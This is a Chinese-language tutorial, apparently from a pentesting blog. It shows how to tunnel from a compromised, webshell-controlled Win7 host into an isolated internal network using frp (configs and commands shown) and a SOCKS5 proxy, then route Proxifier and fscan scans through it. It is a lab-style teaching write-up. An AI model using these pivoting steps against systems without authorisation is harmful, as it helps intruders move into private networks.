内网穿透之frp+proxifier实现socks5反向代理
前言
内网穿透,代理技术的联系与区别?
我个人感觉在内网渗透的时候它们之间的界限很模糊,其目的都是为了突破内网访问的限制。内网穿透允许将内网的服务暴露给公网,代理服务器充当客户端和目标服务器之间的中介,通过代理服务器来转发网络请求和响应。
环境搭建
hacker可以访问web服务器win7并且已经获取权限拿到shell,但是win7通过双网卡将内网和外网隔离,所以hacker不可以直接访问内网的Winddows 2008主机。
目标:
-
通过vps搭建frps服务端
-
win7作为跳板机运行frpc客户端将内网转发到vps上
-
vps反向代理
-
通过vps的socks代理访问内网
frp反向代理
疑问:既然拿到了服务器的shell,为什么不拿服务器的shell直接入侵内网?
我的理解,其一是webshell的功能较少,通常是作为一个上传工具的通道。其二是webshell通常是通过采用http协议传输,没有建立稳定的tcp连接,难以应对内网的渗透时复杂的网络要求。
所以就需要使用一下专业的内网渗透工具来保证内网渗透的过程中始终保持一个较好的网络状态。
frp就是这一个非常实用的工具,frp是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS等多种协议,且支持P2P通信。可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。
frp项目地址:https://github.com/fatedier/frp
首先分别准备linux平台和windows平台的frp工具(版本需要保持一致):
将liunx平台frp上传至liunx vps搭建frps服务端,需要用到的文件有两个frps
服务端程序和frps.ini
服务端配置文件,需要重点关注frps.ini
文件:
默认只有服务端绑定的端口,可以添加其他配置项目:
[common]
bind_addr = 0.0.0.0 #服务端的ip地址
bind_port = 7000 #服务端的端口号
dashboard_port = 7500 #服务端仪表盘界面的访问端口
dashboard_user = admin #仪表盘的用户名
dashboard_pwd = 123456 #仪表盘的用户密码
保存配置文件,执行./frps -c ./frps.ini
命令启动frp服务端,等待客户端连接:
服务搭建成功,接下来将windows平台的frpc通过webshell上传至服务器win7,同样需要配置frpc.ini
文件:
配置socks5代理:
[common]
server_addr = ip #服务器的地址
server_port = 7000 #服务器监听的端口号
tls_enable = ture #启用tls加密连接
[plugin socks]
type = tcp #指定协议类型为tcp
plugin = socks5 #使用的插件为socks5
remote_port = 46075 #指定socks5代理的远程端口
use_encryption = true
use_compression = true
保存配置文件,执行frpc.exe -c frpc.ini
命令启动frp客户端,连接服务端:
通过仪表盘页面也可以看到socks5代理启动成功:
理论上现在就可以访问内网主机了,将浏览器代理改为frp服务器的socks5代理:
访问内网主机192.168.52.143的web服务:
到这里frp的功能就完成了,只有浏览器可以访问这还不够,下面介绍另一个好用的代理工具。
proxifier代理工具
Proxifier是一个知名的代理工具,它允许用户将网络应用程序通过代理服务器进行连接。它本身只是一个代理管理的工具,可以设置和管理代理连接,但并不提供代理服务器。
下载地址:https://www.proxifier.com/
添加frp代理服务器的ip地址和socks5代理的端口号,协议版本选择为socks5版本:
记得测试一下代理服务是否正常:
默认有两条代理规则, 第一个时系统程序的规则是Direct直连模式,不通过代理。第二个是默认其他应用程序,都通过代理。
试着添加一个新规则,使用本地的fscan扫描内网网段时使用代理(其实默认规则已经包含了):
fscan通过socks代理成功扫描到了192.168.52.0/24网段内的主机:
我还是试了试代理nmap扫描,结果nmap扫描不到,并且proxifier日志也没有显示nmap使用了代理,nmap的tcp扫描也不没有走代理,感觉有点奇怪。
若有错误,欢迎指正!o( ̄▽ ̄)ブ